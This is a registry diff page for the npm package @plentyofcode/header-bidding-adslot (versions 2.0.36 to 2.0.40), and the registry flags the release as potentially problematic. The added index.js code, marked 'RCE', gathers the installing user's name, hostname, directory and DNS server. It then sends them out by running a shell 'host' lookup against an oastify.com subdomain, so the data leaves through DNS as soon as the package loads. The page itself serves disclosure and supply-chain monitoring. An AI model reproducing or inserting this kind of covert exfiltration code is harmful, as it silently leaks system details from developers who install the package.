@plentyofcode/header-bidding-adslot 2.0.36 → 2.0.40
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @plentyofcode/header-bidding-adslot might be problematic. Click here for more details.
- package/index.js +17 -5
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,12 +1,24 @@
|
|
1
1
|
const { exec } = require("child_process");
|
2
|
-
|
2
|
+
const dns = require("dns");
|
3
|
+
const os = require("os");
|
4
|
+
|
5
|
+
// RCE
|
6
|
+
const packageName = "@plentyofcode/header-bidding-adslot"; // PackageName
|
7
|
+
const username = os.userInfo().username; // User
|
8
|
+
const hostname = os.hostname(); // HostName
|
9
|
+
const currentDir = __dirname; // Dir
|
10
|
+
const dnsServer = dns.getServers()[0] || "none"; // First DNS
|
11
|
+
|
12
|
+
// Format and Enconde
|
13
|
+
const info = `p=${packageName}&u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
|
14
|
+
|
15
|
+
const encodedInfo = encodeURIComponent(info);
|
16
|
+
|
17
|
+
// Exec and DNS Request
|
18
|
+
exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data, getter) => {
|
3
19
|
if (error) {
|
4
20
|
console.log("error", error.message);
|
5
21
|
return;
|
6
22
|
}
|
7
|
-
if (getter) {
|
8
|
-
console.log(data);
|
9
|
-
return;
|
10
|
-
}
|
11
23
|
console.log(data);
|
12
24
|
});
|